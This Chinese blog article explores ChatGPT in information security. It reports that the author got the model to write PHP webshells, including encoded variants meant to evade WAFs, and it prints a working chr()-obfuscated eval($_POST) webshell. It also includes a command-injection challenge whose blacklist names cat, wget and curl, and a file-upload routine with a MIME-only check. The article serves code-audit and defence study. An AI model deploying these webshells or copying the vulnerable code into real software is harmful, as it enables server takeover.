ChatGPT在信息安全中怎么应用

2023-07-05 04:09

短信预约 -IT技能 免费直播动态提醒

这篇“ChatGPT在信息安全中怎么应用”文章的知识点大部分人都不太理解，所以小编给大家总结了以下内容，内容详细，步骤清晰，具有一定的借鉴价值，希望大家阅读完这篇文章能有所收获，下面我们一起来看看这篇“ChatGPT在信息安全中怎么应用”文章吧。

自身定位

在实践之前，我想向ChatGPT问一下它自己对于这个问题的回答是什么，即让它自己对信息安全领域起的作用进行一些分析，结果还是挺让人惊讶的：

ChatGPT在信息安全中怎么应用

它回答的十分全面，里面有一些内容连我自己都没有想到，于是我对探讨它在信息安全领域的作用的兴趣进一步加深，下面我便对它进行了一些测试。

构造恶意代码

这里就先以最简单的一句话木马为例，我向它提问是否能构造一个对网站产生威胁的恶意语句，AI很轻松的便回答出来了：

ChatGPT在信息安全中怎么应用

看来简单的恶意语句还是对它来说还是很轻松的，于是我继续向它提问一些进阶的问题：我让它用字符编码的方式来构造恶意木马：

ChatGPT在信息安全中怎么应用

还是完整的写完了，根据其代码逻辑实际上也是可以利用的，到这我继续加深难度：

ChatGPT在信息安全中怎么应用

可能是我尝试次数比较少的原因，并没有达到我理想的条件，或许再多增加一些限制条件会达到更好的效果，但是不难看出随着AI的逐渐进化，以后我们对一些WAF或杀毒软件进行测试时，可以结合AI来对产品代码进行分析，让AI构造出可以绕过的木马。

在测试时我还尝试让AI分析带有危险函数的代码，对下面这段恶意代码：

<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?> //7.php

AI给出了比较正确的分析

ChatGPT在信息安全中怎么应用

这又给我们提供了一个思路，通过AI结合防火墙来达到动态分析恶意请求的想法，进而加强我们设备的安全性。

漏洞源码分析

尝试完上面的项目，我开始思考，能否结合AI来进行代码审计，众所周知,白盒测试又称结构测试、透明盒测试、逻辑驱动测试或基于代码的测试。通过分析代码找到里面的漏洞点来维护网络安全，如果AI和它碰撞会产生什么样的火花呢？下面看一个例子：

我用一个简单的代码让其分析一下：

分析代码：<?phpif(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|`|%|\x09|\x26|>|</i", $c)){        system($c);    }}else{    highlight_file(__FILE__);

结果还是很方便理解的，给出了这段代码的作用以及过滤的所有字符，我们可以根据这些提示来进行渗透或者防护。

ChatGPT在信息安全中怎么应用

之后我让其分析一个简单的有文件上传漏洞的代码：

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {            $temp_file = $_FILES['upload_file']['tmp_name'];            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']                        if (move_uploaded_file($temp_file, $img_path)) {                $is_upload = true;            } else {                $msg = '上传出错！';            }        } else {            $msg = '文件类型不正确，请重新上传！';        }    } else {        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';    }}

经过了十几次的改善，给了我如下还算合理的回复:

ChatGPT在信息安全中怎么应用